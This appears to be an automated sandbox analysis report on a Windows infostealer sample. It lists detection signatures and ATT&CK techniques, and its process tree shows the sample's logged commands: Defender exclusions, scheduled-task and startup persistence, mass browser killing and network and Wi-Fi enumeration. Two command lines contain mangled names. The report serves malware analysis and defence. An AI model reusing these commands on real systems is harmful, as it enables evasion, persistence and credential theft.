Overview

overview

10

Static

static

10

2026-08-16...er.exe

windows10-2004-x64

9

2026-08-16...er.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/08/2026, 04:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-16_53934c70895b969bc4c800179ae90d5a_akira_glassworm_rusty-stealer.exe
  • Size 3.9MB
  • Sample260816-e75jxadj8z
  • SHA256 9460d680650a5b5f8d2e8a9911619cafbe82ddee8ca6c556aa2d89320c711167
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
collectiondefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 6 IoCs
    defense_evasion
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs
    defense_evasion
  • Looks for VirtualBox drivers on disk 2 TTPs 6 IoCs
    defense_evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

    Using powershell.exe command.

    execution
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
    defense_evasion
  • Looks for VMWare drivers on disk 2 TTPs 6 IoCs
    defense_evasion
  • Looks for VMWare services registry key. 1 TTPs 3 IoCs
    defense_evasion
  • Looks for Xen service registry key. 1 TTPs 4 IoCs
    defense_evasion
  • Checks BIOS information in registry 2 TTPs 3 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Reads ssh keys stored on the system 2 TTPs

    Tries to access SSH used by SSH programs.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

    discovery
  • Discovers running processes 1 TTPs 2 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 26 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 32 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • outlook_office_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-16_53934c70895b969bc4c800179ae90d5a_akira_glassworm_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-16_53934c70895b969bc4c800179ae90d5a_akira_glassworm_rusty-stealer.exe"
    1⤵
    • Enumerates VirtualBox registry keys
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VirtualBox drivers on disk
    • Looks for VMWare Tools registry key
    • Looks for VMWare drivers on disk
    • Looks for VMWare services registry key.
    • Looks for Xen service registry key.
    • Checks BIOS information in registry
    • Accesses Microsoft Outlook profiles
    • System Location Discovery: System Language Discovery
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • outlook_office_path
    PID:4856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5252
    • C:\Windows\system32\tasklist.exe
      "tasklist" /FO CSV /NH
      2⤵
      • Discovers running processes
      • Suspicious use of AdjustPrivilegeToken
      PID:4868
    • C:\Windows\system32\ipconfig.exe
      "ipconfig" /all
      2⤵
      • Gathers network information
      PID:4684
    • C:\Windows\system32\getmac.exe
      "getmac" /FO CSV /NH
      2⤵
        PID:5656
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" bios get manufacturer,version /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5744
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" cpu get numberofcores /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:368
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" diskdrive get model /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:5560
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_videocontroller get currenthorizontalresolution,currentverticalresolution /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:5956
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" computersystem get totalphysicalmemory /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:908
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" computersystem get manufacturer,model /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1900
      • C:\Windows\system32\sc.exe
        "sc" query type= service state= all
        2⤵
        • Launches sc.exe
        PID:4616
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" service get name /format:csv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2640
      • C:\Windows\system32\tasklist.exe
        "tasklist" /FO CSV /NH
        2⤵
        • Discovers running processes
        PID:4572
      • C:\Windows\system32\sc.exe
        "sc" query type= service state= all
        2⤵
        • Launches sc.exe
        PID:5984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -NoProfile -NonInteractive -Command "Get-Process | Where-Object {$_.MainWindowTitle -ne \"\"} | Select-Object -ExpandProperty MainWindowTitle"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4364
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -NoProfile -NonInteractive -Command "Get-WmiObject Win32_Process -Filter 'ProcessId=4856' | Select -Expand ParentProcessId"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -NoProfile -NonInteractive -Command "Get-Process -Id 1096 | Select -Expand Name"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1652
      • C:\Windows\system32\hostname.exe
        "hostname"
        2⤵
          PID:4444
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -NoProfile -NonInteractive -Command "Get-NetAdapter | Where-Object {$_.Status -eq 'Up'} | Measure-Object | Select -Expand Count"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3336
        • C:\Windows\system32\schtasks.exe
          "schtasks" /Create /TN 2026-08-16_53934c70895b969bc4c800179ae90d5a_akira_glassworm_rusty-stealer /XML C:\Users\Admin\AppData\Local\Temp\svc_config.xml /F
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1160
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$s=New-Object -ComObject 'Wsaramt.C}ull';$l=$s.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2026-08-16_53934c70895b969bc4c800179ae90d5a_akira_glassworm_rusty-stealer.lnk');$l.TargetPath='C:\Users\Admin\AppData\Local\Temp\2026-08-16_53934c70895b969bc4c800179ae90d5a_akira_glassworm_rusty-stealer.exe';$l.WorkingDirectory='C:\Users\Admin\AppData\Local\Temp';$l.Save()"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4744
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try{ Add-Mmprufuruncu -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-16_53934c70895b969bc4c800179ae90d5a_akira_glassworm_rusty-stealer.exe' -ErrorAction Stop; Write-Output 'OK' }catch{ Write-Output 'NO' }"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3064
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try{ Add-Mmprufuruncu -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction Stop; Write-Output 'OK' }catch{ Write-Output 'NO' }"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4140
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM chrome.exe
          2⤵
          • Kills process with taskkill
          PID:4684
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM msedge.exe
          2⤵
          • Kills process with taskkill
          PID:4496
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM brave.exe
          2⤵
          • Kills process with taskkill
          PID:5900
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM opera.exe
          2⤵
          • Kills process with taskkill
          PID:108
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM vivaldi.exe
          2⤵
          • Kills process with taskkill
          PID:6072
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM firefox.exe
          2⤵
          • Kills process with taskkill
          PID:1312
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM browser.exe
          2⤵
          • Kills process with taskkill
          PID:888
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM dragon.exe
          2⤵
          • Kills process with taskkill
          PID:4800
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM coccoc.exe
          2⤵
          • Kills process with taskkill
          PID:5480
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM chromium.exe
          2⤵
          • Kills process with taskkill
          PID:4848
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM torch.exe
          2⤵
          • Kills process with taskkill
          PID:5660
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM slimjet.exe
          2⤵
          • Kills process with taskkill
          PID:5320
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM centbrowser.exe
          2⤵
          • Kills process with taskkill
          PID:3916
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM 360chrome.exe
          2⤵
          • Kills process with taskkill
          PID:1176
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM qqbrowser.exe
          2⤵
          • Kills process with taskkill
          PID:5876
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM sogouexplorer.exe
          2⤵
          • Kills process with taskkill
          PID:5836
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM maxthon.exe
          2⤵
          • Kills process with taskkill
          PID:2960
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM ucbrowser.exe
          2⤵
          • Kills process with taskkill
          PID:2436
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM iron.exe
          2⤵
          • Kills process with taskkill
          PID:5128
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM amigo.exe
          2⤵
          • Kills process with taskkill
          PID:5412
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM orbitum.exe
          2⤵
          • Kills process with taskkill
          PID:6008
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM avastbrowser.exe
          2⤵
          • Kills process with taskkill
          PID:796
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM avgbrowser.exe
          2⤵
          • Kills process with taskkill
          PID:5564
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM blisk.exe
          2⤵
          • Kills process with taskkill
          PID:5588
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM iridium.exe
          2⤵
          • Kills process with taskkill
          PID:5568
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM whale.exe
          2⤵
          • Kills process with taskkill
          PID:4644
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM citrio.exe
          2⤵
          • Kills process with taskkill
          PID:5824
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM coolnovo.exe
          2⤵
          • Kills process with taskkill
          PID:4964
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM icedragon.exe
          2⤵
          • Kills process with taskkill
          PID:2128
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM wave.exe
          2⤵
          • Kills process with taskkill
          PID:6120
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM yandex.exe
          2⤵
          • Kills process with taskkill
          PID:3352
        • C:\Windows\system32\taskkill.exe
          "taskkill" /F /IM epic.exe
          2⤵
          • Kills process with taskkill
          PID:2952
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          • Suspicious behavior: EnumeratesProcesses
          PID:5632
        • C:\Windows\system32\getmac.exe
          "getmac" /fo csv /v
          2⤵
            PID:5744
          • C:\Windows\system32\tzutil.exe
            "tzutil" /g
            2⤵
              PID:3524
            • C:\Windows\system32\ipconfig.exe
              "ipconfig" /all
              2⤵
              • Gathers network information
              PID:5560
            • C:\Windows\system32\arp.exe
              "arp" -a
              2⤵
              • Network Service Discovery
              PID:4836
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic" path win32_networkadapter get name,description,macaddress
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:5956
            • C:\Windows\system32\netsh.exe
              "netsh" wlan show profiles
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:2988
          • C:\Users\Admin\AppData\Local\Temp\2026-08-16_53934c70895b969bc4c800179ae90d5a_akira_glassworm_rusty-stealer.exe
            C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-08-16_53934c70895b969bc4c800179ae90d5a_akira_glassworm_rusty-stealer.exe
            1⤵
            • Enumerates VirtualBox registry keys
            • Looks for VirtualBox Guest Additions in registry
            • Looks for VirtualBox drivers on disk
            • Looks for VMWare drivers on disk
            • Checks BIOS information in registry
            • Enumerates system info in registry
            • Suspicious use of WriteProcessMemory
            PID:5672
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4576

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                2
                T1059

                PowerShell

                1
                T1059.001

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Persistence

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Privilege Escalation

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Defense Evasion

                Virtualization/Sandbox Evasion

                7
                T1497

                Credential Access

                Credentials from Password Stores

                1
                T1555

                Credentials from Web Browsers

                1
                T1555.003

                Unsecured Credentials

                3
                T1552

                Credentials In Files

                3
                T1552.001

                Discovery

                Browser Information Discovery

                1
                T1217

                File and Directory Discovery

                2
                T1083

                Network Service Discovery

                1
                T1046

                Process Discovery

                1
                T1057

                Query Registry

                8
                T1012

                System Information Discovery

                5
                T1082

                System Location Discovery

                1
                T1614

                System Language Discovery

                1
                T1614.001

                System Network Configuration Discovery

                2
                T1016

                Internet Connection Discovery

                1
                T1016.001

                Wi-Fi Discovery

                1
                T1016.002

                Virtualization/Sandbox Evasion

                7
                T1497

                Lateral Movement

                Collection

                Data from Local System

                3
                T1005

                Email Collection

                1
                T1114

                Command and Control

                Web Service

                1
                T1102

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 ec58c4d2dbbd2ff927c6e1ab794e34196f8026d52c37b5f6d6e69e3e28c6dcbd
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d293ea931746bf846150798deeae41621a505d5a0d3b02399f7be023245dcd90
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 c3450f7fcf7deacd684aff39e3cfe0c63ad7630478796a7448b47d317098a242
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 9af3b2f78dee8c8ceeca88e6df7e4882bac30e825c19a3ee749c08dcfd712b2d
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 0423240383d3e5c4c10fc9b86bb901bdec6bf5ee4c323b414cd11689599d3585
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                YRWKJLDU_Admin_10.127.0.55_1388d389.zip
                • Path C:\Users\Admin\AppData\Local\Temp\YRWKJLDU_Admin_10.127.0.55_1388d389.zip
                • Size 457KB
                • SHA256 13dc1f6840a21cc733d1efd4908d24237bfa7dad653013ce011293c34507aaf6
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                __PSScriptPolicyTest_twsaixkq.1nw.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_twsaixkq.1nw.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                svc_config.xml
                • Path C:\Users\Admin\AppData\Local\Temp\svc_config.xml
                • Size 895B
                • SHA256 3ef7af8117070ece29c9cc33a9fb29baf9141e81861a8e2fb4995398df5b808f
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                memory/3064-64-0x000001D2327A0000-0x000001D2327A6000-memory.dmp
                Download

                memory/3064-61-0x000001D232760000-0x000001D23276A000-memory.dmp
                Download

                memory/3064-62-0x000001D232C30000-0x000001D232C4C000-memory.dmp
                Download

                memory/3064-63-0x000001D232770000-0x000001D232778000-memory.dmp
                Download

                memory/3064-65-0x000001D232C10000-0x000001D232C1A000-memory.dmp
                Download

                memory/3336-43-0x000001D9FF900000-0x000001D9FF91E000-memory.dmp
                Download

                memory/3336-42-0x000001D999B10000-0x000001D999BC2000-memory.dmp
                Download

                memory/5252-13-0x000001E776850000-0x000001E776902000-memory.dmp
                Download

                memory/5252-15-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-24-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-21-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-20-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-19-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-18-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-16-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-17-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-22-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-14-0x000001E776910000-0x000001E77691A000-memory.dmp
                Download

                memory/5252-0-0x00007FFB7385F000-0x00007FFB73860000-memory.dmp
                Download

                memory/5252-12-0x000001E776830000-0x000001E77684E000-memory.dmp
                Download

                memory/5252-9-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-8-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-7-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-6-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-5-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download

                memory/5252-2-0x000001E776780000-0x000001E7767A2000-memory.dmp
                Download

                memory/5252-1-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp
                Download